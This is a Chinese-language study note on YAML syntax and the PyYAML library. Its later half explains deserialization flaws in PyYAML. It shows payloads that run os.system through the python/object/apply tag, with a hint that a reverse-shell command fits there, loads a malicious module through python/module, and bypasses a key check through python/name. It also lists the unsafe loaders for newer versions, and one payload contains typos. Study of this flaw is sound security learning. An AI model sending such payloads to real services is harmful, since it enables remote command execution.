0%

YAML

YAML

安装库

pip install -i https://pypi.mirrors.ustc.edu.cn/simple/ pyyaml

image.png

image.png

image.png读取yaml文件

image.png

基本概念

是一个可读性高并且容易被人类阅读,容易和脚本语言交互,用来表达资料序列的编程语言。

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用tab,只允许空格
  • 缩进的空格数不重要,只要相同层级的元素左对齐即可
  • ‘#’表示注释

基本语法

ISO 8601

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
YYYY表示四位数的年份

MM表示两位数的月份

DD表示两位数的天(day of the month),从01到31

T是用来指示时间元素的开始字符

hh表示两位数的小时,从0023,不包括AM/PM

mm表示两位数的分钟,从0059

ss表示两位数的秒,从0059

mmm表示三位数的毫秒数,从000999

TZD表示时区指示符:Z或+hh:mm或-hh:mm,+或-表示时区距离UTC(世界标准时间)时区多远。例如:

CST(中国标准时间):UTC +08:00,EST(东部标准时间):UTC -05:00,CST(中部标准时间):UTC -06:00

数据类型

YAML 支持以下几种数据类型:

  1. 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
  2. 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)
  3. 纯量(scalars):单个的、不可再分的值,如:
  • 字符串
  • 布尔值
  • 整数
  • 浮点数
  • Null
  • 时间 使用 ISO 8601 格式,时间和日期之间使用T链接+代表时区

例: 2023-09-12T20:22:20+08:00

  • 日期 使用 ISO 8601 格式,即 YYYY-MM-DD 对应位数的年月日
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
key: #冒号后面要加一个空格,缩进表示层级
child-key: value
child-key2: value2
key:{key1: value1, key2: value2, ...}#也表示对象键值对
#复杂的对象,?+space表示是键,:+space表示值
?
- complexkey1
- complexkey2
:
- complexvalue1
- complexvalue2
# -+space+数组名 开头表示数组
- A
#多维数组
companies:
-
id: 1
name: company1
price: 200W
-
id: 2
name: company2
price: 500W
#数组表示方法2 flow流式
companies: [{id: 1,name: company1,price: 200W},{id: 2,name: company2,price: 500W}]

boolean:
- TRUE #true,True都可以
- FALSE #false,False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date:
- 2018-02-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime:
- 2018-02-17T15:02:31+08:00
#时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

#强制类型转换 用!!

image

强制类型转换汇总图

引用

& 用来建立锚点(defaults),**<<** 表示合并到当前数据,***** 用来引用锚点

1
2
3
4
5
6
7
8
9
10
11
defaults: &defaults #建立锚点
adapter: postgres
host: localhost

development:
database: myapp_development
<<: *defaults

test:
database: myapp_test
<<: *defaults

序列化和反序列化

yaml.dump():将一个Python对象序列化生成为yaml文档。

yaml.load():将一个yaml文档反序列化为一个Python对象。

1
2
3
4
import yaml
f=open("文件路径","r")#可读
y=yaml.load(f)
print(y)

常用函数

  1. yaml.load(stream, Loader=yaml.Loader, **kwds):用于从 YAML 文件或字符串中读取数据,并将其转换为 Python 对象。
  2. yaml.dump(data, stream=None, Dumper=yaml.Dumper, **kwds):用于将 Python 对象转换为 YAML 文件或字符串,并将其写入到文件或流中。
  3. yaml.add_constructor(tag, constructor, Loader=yaml.Loader):用于添加自定义的构造函数,以将特定的 YAML 标记转换为 Python 对象。
  4. yaml.add_representer(data_type, representer, Dumper=yaml.Dumper):用于添加自定义的表示函数,以将 Python 对象转换为 YAML 标量。

PyYAML小于5.1

漏洞成因

主要在PyYaml<=5.1的版本下,默认Constructor为加载器,但是经过审计yaml模块中的Constructor.py的源码中存在对于python的标签解析时的漏洞。

python/object/apply原理

python/object/applytag对应python函数中construct_python_object_apply

再往下进入到make_python_instance函数中

1
2

yaml.load('exp: !!python/object/apply:os.system [whoami]')#或者反弹shell命令

python/object/new

python/object

对应为construct_python_object

这个函数没有参数,只能通过无参方法命令执行

!!python/object:builtins.copyright {"键":"值"}

python/module:package.class

对应函数为construct_python_module,该函数调用了find_python_module这个函数中调用了__import__

首先构造一个恶意的py脚本

1
2
import os
os.system("whoami")

强制类型转换触发即可

1
2
import yaml
yaml.load('exp: !!!!python/moaule:文件路径/项目名称.恶意文件名')

python/name

和python/module标签的逻辑类似,不过!!python/name标签可以返回模块下面的属性/方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import yaml

KEY = 'Evi1s7'

def check(miyao):
try:
key = yaml.load(miyao).get("key",None)
except Exception:
key = None
if key == KEY:
print("你好Evi1s7")
else:
print("陌生人爬")

miyao = ''
check(miyao)

这里的payload?key=!!python/name:__main__.KEY可以直接绕过验证

版本大于5.1

常用的利用方法和小于5.1的版本是一样的,需要额外加上构造器

  1. yaml.unsafe_load(exp)
  2. yaml.unsafe_load_all(exp)
  3. yaml.load(exp,Loader=UnsafeLoader)
  4. yaml.load_all(exp,Loader=UnsafeLoader)
  5. yaml.load(exp,Loader=Loader)
  6. yaml.load_all(exp,Loader=Loader)

来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/mwlmhu7lrsdghguf
语雀文档ID: 139684579